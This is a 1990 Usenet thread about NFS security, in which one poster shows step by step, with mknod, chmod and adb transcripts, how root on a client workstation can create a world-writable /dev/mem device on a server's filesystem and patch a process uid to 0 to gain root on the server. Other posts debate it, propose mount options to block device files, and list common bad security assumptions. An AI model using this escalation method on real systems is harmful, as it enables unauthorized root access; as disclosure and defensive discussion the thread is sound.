tchrist@convex.COM (Tom Christiansen) (12/17/90)
From the keyboard of strick@osc.com (henry strickland):
:In the normal NFS setup, making myself root on a workstation does not
:give me root priveleges on the filesystem of a remote NFS server which
:I can mount the partitions of. But I can easily be any other user or
:any group I want on that remote partition, including daemon, bin, uucp,
:kmem, wheel, operator, audit, etc. Since this is so easy, we have to
:set our goals to being root on the server. ;-) Now if any of these
:non-root users owns (or groups has w bits on) some file in the PATH of
:root (or one of the directories or superdirectories in the PATH), the
:trojan horse can ride.
It's really pretty easy to become root on the server if you can
become root on the workstation. Become a non-root user who can create
a directory. Create a directory on the server that's mode 777. Now
go back to root and go to this directory, which you can write although
the files will be owned by user ((unsigned short) -2). Do a mknod
giving it the major,minor numbers of /dev/mem on the server,
not the workstation. Make it mode 666. Return to the server as a normal
user, adb your new /dev/mem device and scribble at will. My favorite
scribble is to punch the uid of my shell to be 0 in the proc structure.
For example, here is some code that does that on my system:
% whoami
tchrist
% pstat -tP $$ <- find this guy's proc addr
PROC S K THREAD S F ID SLPQH WCHAN RESCHFP
tcsh 3b9ab8 S 1 5a5760 s 2 0 24e0d0 a1eb000 b4f4d74
% adb -w -k /vmunix personal_mem_device
(adb) 3b9ab8+44/w <- now find his user addr
0x3b9afc: a1eb000
(adb) 3b9ab8+58c/h <- check out our user id
0x3ba048: 356
(adb) ./h= 0 <- setuid the way Real Programmers do it
0x3ba048: 356 = 0
(adb) $q
% whoami
root
Of course, finding the right offsets is a little tiny bit of work maybe,
but I've a program that C dumps structure offsets, so it's not too rough.
Some people are going to tell me I shouldn't have explained this, but
that's not going to help anything. Security through obscurity isn't.
Now you may better understand my .signature. :-)
--tom
--
Tom Christiansen tchrist@convex.com convex!tchrist
"With a kernel dive, all things are possible, but it sure makes it hard
to look at yourself in the mirror the next morning." -metchrist@convex.COM (Tom Christiansen) (12/17/90)
Before I get flamed for having pointed out a problem without suggesting a solution, here's an idea. Add a new option to mount like suid that says whether device files are to be considered valid; otherwise return ENXIO. Normally only mount root this way, and never export root. I believe this will do the trick. For diskless workstations, you of course have their [the workstation owners] devices on your [the server] disk, and they can add all the devices they want to that partition, but since that filesystem isn't mounted with device interpretation enabled, it won't do them any good anyway. Until something like this is done, if you can be root on the workstation, you can be root on the server. --tom -- Tom Christiansen tchrist@convex.com convex!tchrist "With a kernel dive, all things are possible, but it sure makes it hard to look at yourself in the mirror the next morning." -me
rbj@uunet.UU.NET (Root Boy Jim) (12/19/90)
In article <111544@convex.convex.com> tchrist@convex.COM (Tom Christiansen) writes:
? It's really pretty easy to become root on the server if you can
? become root on the workstation. Become a non-root user who can create
? a directory. Create a directory on the server that's mode 777. Now
? go back to root and go to this directory, which you can write although
? the files will be owned by user ((unsigned short) -2).
I follow you so far, but...
? Do a mknod
? giving it the major,minor numbers of /dev/mem on the server,
? not the workstation.
Um, only root can do a mknod, `nobody' can't.
? Make it mode 666. Return to the server as a normal
? user, adb your new /dev/mem device and scribble at will. My favorite
? scribble is to punch the uid of my shell to be 0 in the proc structure.
I tried this another way. Entice someone to mount a filesystem from
your machine. Then, as root on your own machine, do a mknod. Get onto
the server as a regular user and access the device. But wait! Devices
don't work across NFS! So no good there either.
? Tom Christiansen tchrist@convex.com convex!tchrist
--
Root Boy Jim Cottrell <rbj@uunet.uu.net>
Close the gap of the dark year in betweentchrist@convex.COM (Tom Christiansen) (12/20/90)
[ I've gotten nothing but confused and disbelieving mail on this,
so apparently I did not adequately describe the scenario. ]
From the keyboard of rbj@uunet.UU.NET (Root Boy Jim):
:In article <111544@convex.convex.com> tchrist@convex.COM (Tom Christiansen) writes:
:I follow you so far, but...
:
:? Do a mknod
:? giving it the major,minor numbers of /dev/mem on the server,
:? not the workstation.
:
:Um, only root can do a mknod, `nobody' can't.
Says who? This isn't so. I'm on my workstation. I'm the superuser.
I've got the trusting server's filesystem mounted on my system.
(It's a diskless 350, so I have to have something.) I can certainly
do the mknod. Watch (I'm root@cthulhu, my workstation):
cthulhu# df .
Filesystem kbytes used avail capacity Mounted on
globhost:/usr/spool/globdata
371967 280812 53958 84% /rmt/globhost/globdata
[ ``globhost'' is another Sun, but this works with non-Sun NFS
systems as well. ]
cthulhu# ls -lgd .
drwxrwxrwt 43 root bin 4096 Dec 19 11:52 ./
[ Even if it weren't world-write, I could become the owner
and make a world-write subdir. ]
cthulhu# ls -lg /dev/mem
crw-r----- 1 root kmem 3, 0 May 29 1990 /dev/mem
cthulhu# mknod mymem c 3 0
[ I actually have to choose the right major/minor number
for the server, not the client, if it's his kernel I
wish to crack. ]
cthulhu# ls -l mymem
crw-r--r-- 1 -2 3, 0 Dec 19 11:49 mymem
[ See, I made it fine, and it's owned by "nobody". ]
cthulhu# chmod 666 mymem
cthulhu# ls -l mymem
crw-rw-rw- 1 -2 3, 0 Dec 19 11:58 mymem
Now, go over to the server and you can write his kernel as a normal user.
I've already demo'd how to use adb to punch your shell's uid to 0,
although you should get the cred structure, too. You could also make a
nice disk device and read things if you want.
--tom
--
Tom Christiansen tchrist@convex.com convex!tchrist
"With a kernel dive, all things are possible, but it sure makes it hard
to look at yourself in the mirror the next morning." -meistvan@hhb.UUCP (Istvan Mohos) (12/20/90)
I've re-read "UNIX System Security" (by Wood and Kochan) recently
and jotted down a list of over 50 security risks, all the while
trying to banish the song "Fifty Ways To Leave Your Lover" recurring
in my mind. The recommended security procedures for avoiding the
risks on my list run the gamut, from the obvious and easily adhered-to,
to the ridiculous and unenforcible.
Although any one of the pitfalls described by Wood and Kochan will
deliver the system to an adversary, lock, stock and barrel, the sum
of the risks represented by the book, pales in comparison with the
"Anyone Can Be Root" model which links workstations to a central
server through NFS. Even if you discount Tom Christiansen's
innovative "Real Programmers' Setuid" algorithm, allowing absolutely
everyone to "su" to all other users and in doing so access gigabytes
of data, is a kiss of death to security, an iceberg that will sink
the Titanic.
(Fume aside:
Meanwhile, dear posters to sci.crypt - you all know who you are:
with your psyche bonded to DES as surely as Citizen Kane's was to
ROSEBUD, and disbelieving in a "life after DES" - you go on being
impervious to that an intruder doesn't need to pick locks and crack
passwords when the doors and windows to the system are already ajar.)
Becoming root on the NFS network is a highly overrated prize, only
interesting from a technical point, a "UNIX internals" achievement.
I suppose this explains the present thread in this newsgroup. On
the other hand, at any firm with ongoing major software development,
the data distributed among the users embodies the true assets of the
company, and is more {valuable,sensitive,irreplaceable,vulnerable}
by far, than surrepetitious access or damage to kernel data structures.
So forget about trojans, viruses, worms, suids and passwords -
be pragmatic, assume the worst, and learn to live in a compromised
and hostile computing environment. The two horns of the peril to
your software are vandalism and theft. Although you can not prevent
vandalism, losses due to corruption can be minimized by backing up
*everything* (and forever accummulating your tapes in a fireproof,
floodproof, earthquakeproof, etc. vault, under lock and key :-)
To prevent theft, encrypt your data. Crypt(1) will get broken, so
use other programs instead. I would offer to post the source to my
"mix" scrambler, but friends on sci.crypt advise that exporting
encryption software out of the US is possibly illegal. If true,
as outrageous and against our ideals of free speech as such a
restriction would be, I still wouldn't wish the bounty of my country's
ayatollahs on my head: I will e-mail "mix" only to your US address -
no retry on bouncing.
Here is a practical tip that may pay dividends: keep a *key library*
(both the source and the object) of your software entirely off-line,
and only load it, single-user mode, when you need to link with it.
--
Istvan Mohos
...uunet!pyrdc!pyrnj!hhb!istvan
1000 Wyckoff Ave. Mahwah NJ 07430 201-848-8000
======================================================jeff@onion.pdx.com (Jeff Beadles) (12/20/90)
In article <114827@uunet.UU.NET> rbj@uunet.UU.NET (Root Boy Jim) writes: ... >I tried this another way. Entice someone to mount a filesystem from >your machine. Then, as root on your own machine, do a mknod. Get onto >the server as a regular user and access the device. But wait! Devices >don't work across NFS! So no good there either. ... > Root Boy Jim Cottrell <rbj@uunet.uu.net> > Close the gap of the dark year in between Ugh. We really don't need misinformation like this. :-) Device files *DO* work over NFS. They are interpreted in the LOCAL machine though, not as a part of the remote machine that they are mounted from. This is one of the many problems with NFS (:-). If you mount a partition from a remote machine with a kmem device file, and 666 permissions and then LOGIN to the server and access the file, it will access /dev/kmem ON THE SERVER. There's the same problem with set-uid files, but there is a mount option "nosuid" that will prevent them from being used. IMHO, "nosuid" should also not allow remote block or character special files. Someone (Guy Harris?) posted several months ago that they had already done the work at their local site. You can't just turn off all access to remote devices via NFS though. Diskless nodes depend on it to work. (In effect, they NFS mount their root partition from the server.) -Jeff -- Jeff Beadles jeff@onion.pdx.com
rbj@uunet.UU.NET (Root Boy Jim) (12/22/90)
In article <1990Dec19.180541.7693@convex.com> tchrist@convex.COM (Tom Christiansen) writes: ? From the keyboard of rbj@uunet.UU.NET (Root Boy Jim): ? :In article <111544@convex.convex.com> tchrist@convex.COM (Tom Christiansen) writes: ? :? Do a mknod ? :? giving it the major,minor numbers of /dev/mem on the server, ? :? not the workstation. ? : ? :Um, only root can do a mknod, `nobody' can't. ? ? ? Says who? This isn't so. I'm on my workstation. I'm the superuser. ? I've got the trusting server's filesystem mounted on my system. ? (It's a diskless 350, so I have to have something.) I can certainly ? do the mknod. Watch (I'm root@cthulhu, my workstation): OK, so you did. But you shouldn't have been able to, and will not after you start running SunOS 4.1. I know people who know. -- Root Boy Jim Cottrell <rbj@uunet.uu.net> Close the gap of the dark year in between
lerman@stpstn.UUCP (Ken Lerman) (12/22/90)
In article <638@hhb.UUCP> istvan@hhb.UUCP (Istvan Mohos) writes:
->
...
->your software are vandalism and theft. Although you can not prevent
->vandalism, losses due to corruption can be minimized by backing up
->*everything* (and forever accummulating your tapes in a fireproof,
->floodproof, earthquakeproof, etc. vault, under lock and key :-)
I think Istvan meant you should keep two copies in two different
"fireproof, floodproof, earthquakeproof, etc. vault(s), under lock and key :-)"
...
->--
-> Istvan Mohos
-> ...uunet!pyrdc!pyrnj!hhb!istvan
-> 1000 Wyckoff Ave. Mahwah NJ 07430 201-848-8000
->======================================================
Kenistvan@hhb.UUCP (Istvan Mohos) (12/25/90)
From: lai@software.org (Kwo-Long Lai): >istvan@hhb.UUCP (Istvan Mohos): >> >> I've re-read "UNIX System Security" (by Wood and Kochan) recently >> and jotted down a list of over 50 security risks, all the while >> trying to banish the song "Fifty Ways To Leave Your Lover" recurring > >I'm wondering whether you could send me that list?(If it is OK to you). Seing this newsgroup practically dried out for the holidays and my bluff being called, here is my hand, with apologies for straying off the "internals". Please note that the list is far from being complete. Bad Assumptions To Make About The Security Of Your Computer System ------------------------------------------------------------------ The only important data are sysfiles, company plans, personnel records, mail. High level management is knowledgeable about security issues. High level management encourages the enforcement of security guide lines. Raising user awareness about security automatically tightens system security. Everyone voluntarily chooses good (non-dictionary-derivative) passwords. Everyone uses new passwords when forced to expire the old one. All user records in /etc/passwd contain a non-null password. Noone is ever obliged to tell her password to anyone else. Noone is ever obliged to type her password while someone else is looking. Group permissions and "newgrp" are used in a consistent and correct manner. Noone installs the current directory as the first constituent of PATH. Everyone always logs off or locks her office when leaving the terminal. Noone ever writes down a password. Each user chooses different passwords on different systems. /etc/passwd logins of all ex-employees are promptly removed. Everyone correctly sets "umask", doesn't create files writable by others. Noone's HOME directory is readable by others. Everyone has messages turned off (mesg n). Everyone looks for, analyzes ./.exrc before vi in directory not owned. Noone edits (or creates temporary files that shadow) sensitive information. Everyone uses her own tmp directory exclusively for creating temporary files. Everyone's own tmp directory is writable only by owner. No ordinary user owns a disk partition. Local disk devices in /dev are accessible only to owner. Anyone who mounts remote file systems does so with the "nosuid" option. A system is booted only when the owner is physically present. / doesn't contain a .rhosts, or at least .rhosts is "0600 root". /dev/mem/kmem is acccessible only to owner. /dev/swap is accessible only to root. /etc/rc or /etc/inittab, associated files and dirs, are not writable. /usr/lib/crontab, any programs called from it, are not writable. Mode of /usr/lib/uucp/USERFILE is 0644. Mode of /usr/lib/uucp/L.cmds is 0644, accessed only by rmail and rnews. Mode of /usr/lib/uucp/L.sys is 0600. uux only executes rmail and news. uucp can only write to /usr/spool/uucppublic. Permissions of all security audit programs are set to "execute only". Backup tapes are under lock and key. Sysadm can define and maintain security arrangements on a distributed network. Sysadm continually runs acctcom or accton. Sysadm performs regular "connect-time accounting", and cleans /usr/adm/wtmp. Sysadm performs regular security audits, verifies integrity of suid programs. Sysadm performs regular security audits specifically for uucp and sendmail. Sysadm promptly and regularly analyzes and cleans uucp logs. Sysadm checks "find" errors to detect excessive depth or dir size. Sysadm keeps checksums of all system files, off-line. Sysadm keeps checksums of files, generated by "secret algorithm". Sysadm types "/bin/su" instead of "su" to avoid trojans. Sysadm never lets the terminal out of her sight when root. Sysadm is never obliged to let anyone else issue even a single command as root. Sysadm becomes root, or performs root login, only from the console. Sysadm analyzed all PD software in use (i.e. GNU Emacs), found no suid problems. -- Istvan Mohos ...uunet!pyrdc!pyrnj!hhb!istvan 1000 Wyckoff Ave. Mahwah NJ 07430 201-848-8000 ======================================================